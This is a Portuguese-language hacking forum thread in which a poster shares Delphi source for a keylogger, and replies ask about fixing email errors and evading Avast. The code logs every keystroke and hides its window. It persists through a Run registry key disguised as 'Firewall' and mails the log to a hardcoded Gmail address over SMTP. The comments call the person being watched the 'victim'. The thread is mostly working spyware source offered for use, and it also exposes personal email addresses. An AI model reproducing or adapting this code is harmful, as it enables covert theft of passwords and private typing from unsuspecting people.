[Code] Xtreme Keylogger

[Hacker Xtreme]

Aew pessoal sei que vcs amam isso hehe um keylogger que eu montei que pode servir pra vcs ta ai o code : [Fui eu Xtreme mesmo que montei ]


procedure TForm1.Timer1Timer(Sender: TObject);
var
i : byte;
begin

for i:=8 To 222 do
begin
if GetAsyncKeyState(i)=-32767 then
begin
case i of
48 : if GetKeyState(VK_CAPITAL)<0 then Memo1.text:=Memo1.text+')'
else Memo1.text:=Memo1.text+'0';
49 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'!'
else Memo1.text:=Memo1.text+'1';
50 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'@'
else Memo1.text:=Memo1.text+'2';
51 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'#'
else Memo1.text:=Memo1.text+'3';
52 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'$'
else Memo1.text:=Memo1.text+'4';
53 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'%'
else Memo1.text:=Memo1.text+'5';
54 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'¨'
else Memo1.text:=Memo1.text+'6';
55 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'&'
else Memo1.text:=Memo1.text+'7';
56 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'*'
else Memo1.text:=Memo1.text+'8';
57 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'('
else Memo1.text:=Memo1.text+'9';
13 : Memo1.Text := Memo1.Text +#13#10;
32 : Memo1.Text := Memo1.Text +' ';
65 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'A'
else Memo1.text:=Memo1.text+'a';
66 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'B'
else Memo1.text:=Memo1.text+'b';
67 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'C'
else Memo1.text:=Memo1.text+'c';
68 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'D'
else Memo1.text:=Memo1.text+'d';
69 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'E'
else Memo1.text:=Memo1.text+'e';
70 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'F'
else Memo1.text:=Memo1.text+'f';
71 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'G'
else Memo1.text:=Memo1.text+'g';
72 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'H'
else Memo1.text:=Memo1.text+'h';
73 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'I'
else Memo1.text:=Memo1.text+'i';
74 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'J'
else Memo1.text:=Memo1.text+'j';
75 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'K'
else Memo1.text:=Memo1.text+'k';
76 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'L'
else Memo1.text:=Memo1.text+'l';
77 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'M'
else Memo1.text:=Memo1.text+'m';
78 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'N'
else Memo1.text:=Memo1.text+'n';
79 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'O'
else Memo1.text:=Memo1.text+'o';
80 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'P'
else Memo1.text:=Memo1.text+'p';
81 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Q'
else Memo1.text:=Memo1.text+'q';
82 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'R'
else Memo1.text:=Memo1.text+'r';
83 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'S'
else Memo1.text:=Memo1.text+'s';
84 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'T'
else Memo1.text:=Memo1.text+'t';
85 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'U'
else Memo1.text:=Memo1.text+'u';
86 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'V'
else Memo1.text:=Memo1.text+'v';
87 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'W'
else Memo1.text:=Memo1.text+'w';
88 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'X'
else Memo1.text:=Memo1.text+'x';
89 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Y'
else Memo1.text:=Memo1.text+'y';
90 : if GetKeyState(VK_SHIFT)<0 then Memo1.Text := Memo1.Text +'Z'
else Memo1.text:=Memo1.text+'z';
91 : Memo1.Text := Memo1.Text +'WINDOWS ESQUERDO';
92 : Memo1.Text := Memo1.Text +'WINDOWS DIREITO';
93 : Memo1.Text := Memo1.Text +'MENU DE CONTEXTO';
95 : Memo1.Text := Memo1.Text +'SLEEP';
96 : Memo1.Text := Memo1.Text +'0';
97 : Memo1.Text := Memo1.Text +'1';
98 : Memo1.Text := Memo1.Text +'2';
99 : Memo1.Text := Memo1.Text +'3';
100 : Memo1.Text := Memo1.Text +'4';
101 : Memo1.Text := Memo1.Text +'5';
102 : Memo1.Text := Memo1.Text +'6';
103 : Memo1.Text := Memo1.Text +'7';
104 : Memo1.Text := Memo1.Text +'8';
105 : Memo1.Text := Memo1.Text +'9';
106 : Memo1.Text := Memo1.Text +'*';
107 : Memo1.Text := Memo1.Text +'&';
109 : Memo1.Text := Memo1.Text +'-';
110 : Memo1.Text := Memo1.Text +'.';
111 : Memo1.Text := Memo1.Text +'°';
112 : Memo1.Text := Memo1.Text +'F1';
113 : Memo1.Text := Memo1.Text +'F2';
114 : Memo1.Text := Memo1.Text +'F3';
115 : Memo1.Text := Memo1.Text +'F4';
116 : Memo1.Text := Memo1.Text +'F5';
117 : Memo1.Text := Memo1.Text +'F6';
118 : Memo1.Text := Memo1.Text +'F7';
119 : Memo1.Text := Memo1.Text +'F8';
120 : Memo1.Text := Memo1.Text +'F9';
121 : Memo1.Text := Memo1.Text +'F10';
122 : Memo1.Text := Memo1.Text +'F11';
123 : Memo1.Text := Memo1.Text +'F12';
186 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'Ç'
else Memo1.text:=Memo1.text+'ç';
187 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'+'
else Memo1.text:=Memo1.text+'=';
188 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'<'
else Memo1.text:=Memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'_'
else Memo1.text:=Memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'>'
else Memo1.text:=Memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+':'
else Memo1.text:=Memo1.text+';';
192 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'"'
else Memo1.text:=Memo1.text+'''';
220 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'}'
else Memo1.text:=Memo1.text+']';
221 : if GetKeyState(VK_SHIFT)<0 then Memo1.text:=Memo1.text+'{'
else Memo1.text:=Memo1.text+'[';
end;
end;
end;
end;
// Explicando o código acima: O código acima é o keylogger que dispara a cada 1 milisigundo...
// Qualquer tecla que a vitíma pressionar aparecerá, somente teclas especiais, acentos, ..., teclas não
// utilizadas e que não tem valor...!

procedure TForm1.FormCreate(Sender: TObject);
var
Str : String;
begin
// Cria uma entrada no registro para poder inicializar com o sistema...
Reg := TRegistry.Create;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.Openkey('Software\Microsoft\Windows\CurrentVer sion\Run', False);
Reg.WriteString('Firewall', Application.ExeName);
Reg.CloseKey;
// Deixa o Keylogger Invisível...
Application.ShowMainForm := False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
IdSMTP1.Host:= 'smtp.bol.com.br';
IdSMTP1.Port:= 25;
IdSMTP1.Username:= 'xtreme.sk8@bol.com.br';
IdMessage1.From.Name:= '!! Xtreme Keylogger 1.0 !!';
IdMessage1.Recipients.EMailAddresses:= mailto:'sevennight.1@gmail.com">'sevennight.1@gmail.com';
IdMessage1.Priority := mpNormal;
IdMessage1.Subject := 'Log';
IdMessage1.ContentType:='text/html';
IdMessage1.Body := Memo2.Lines;
TIdAttachment.Create(IdMessage1.MessageParts,'C:\W INDOWS\Registration\Keylogger-Log.txt');
try
IdSMTP1.Send(IdMessage1);
finally
IdSMTP1.Disconnect;
Timer3.Enabled := False;
end;
end;
// Explicando o código acima: O hacker vai receber o log anexado com uma mensagem ...
// Depois o Timer3 é desativado para não ficar lotando sua caixa de e-mails...

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Memo1.Lines.SaveToFile('C:\WINDOWS\Registration\Ke ylogger-Log.txt');
Timer3.Enabled := True;
end;
// Salva o log do keylogger e ativa o Timer3 para enviar o log novo...

end.

[anakim]

legalzin a logica xtreme, já é um comeco, tenta agora pegar textos de outras janelas usando handles, flws!!!

[tiaguito-.-]

Ae Xtreme Vlw ae queria sabe como que era essa lógica vlw

[rodweb]

aqui deu erro na hora de enviar =(

[Hacker Xtreme]

É algo bem básico, Eclipse aqui não deu erro brother tipo falta implementar ainda... pra deixar funcionando legal você tem que por alguma função do tipo ver se o pc ta conectado na net dai dps enviar e talz... [esqueci de implementar ^^]....... Flwz qualquer dúvida... tamo ae

[rodweb]

mais eu testei no meu pc, e eu to conectado... da erro no idSMTP.Send

[Hacker Xtreme]

o loko aqui funcionou se vc quiser eu te passo o código pronto já no delphi !

[rodweb]

o loko aqui funcionou se vc quiser eu te passo o código pronto já no delphi !

pode ser...

mailto:rodrigo.rodweb2005@gmail.com">rodrigo.rodweb2005@gmail.com .....

[shake]

Cara posta ai se possível!
Tbm quero ver esse source!
Pois aqui os dados não estão dando entrada no memo.

Vlw

[Hacker Xtreme]

Olá ! Irei upar em algum site mais posteriormente no momento não tenho como por estar sem Internet... Estarei postando o source o mais breve possível...

by Xtreme
Perfil Moderado por Dark Invasion - Irmão do Xtreme he he he

[OnlyOne]

crianças , ao usar o bol , primeiro vc tem q se autenticar no servidor POP3 e depois usar o SMTP

ok ?

[Hacker Xtreme]

AhuAHHuAhhu eu coloquei o bol de ex, mais eu usei ibest e gmail AhuAHu ta valendo isso é só pra aprendizado !

[Anonymous]

esse keylogger passa pelo avast?

[l u b c k e]

Não sei se é  triste, ou bonito de ver como keylogger para o fórum é como carne pra piranha...
Conteúdos melhores deveriam gerar tanta euforia quanto isso.


Até mais....

[branco]

daqui uns tempos keyloggers viraram brincadeira de criança e ninguem mais vai mecher com isso =p todos iram ver um source como uma coisa lammer...

parabens ae Xtreme =p mas agora será quem copio de quem ? microsoft o delphi ou borland o vb ?
praticamente a mesma coisa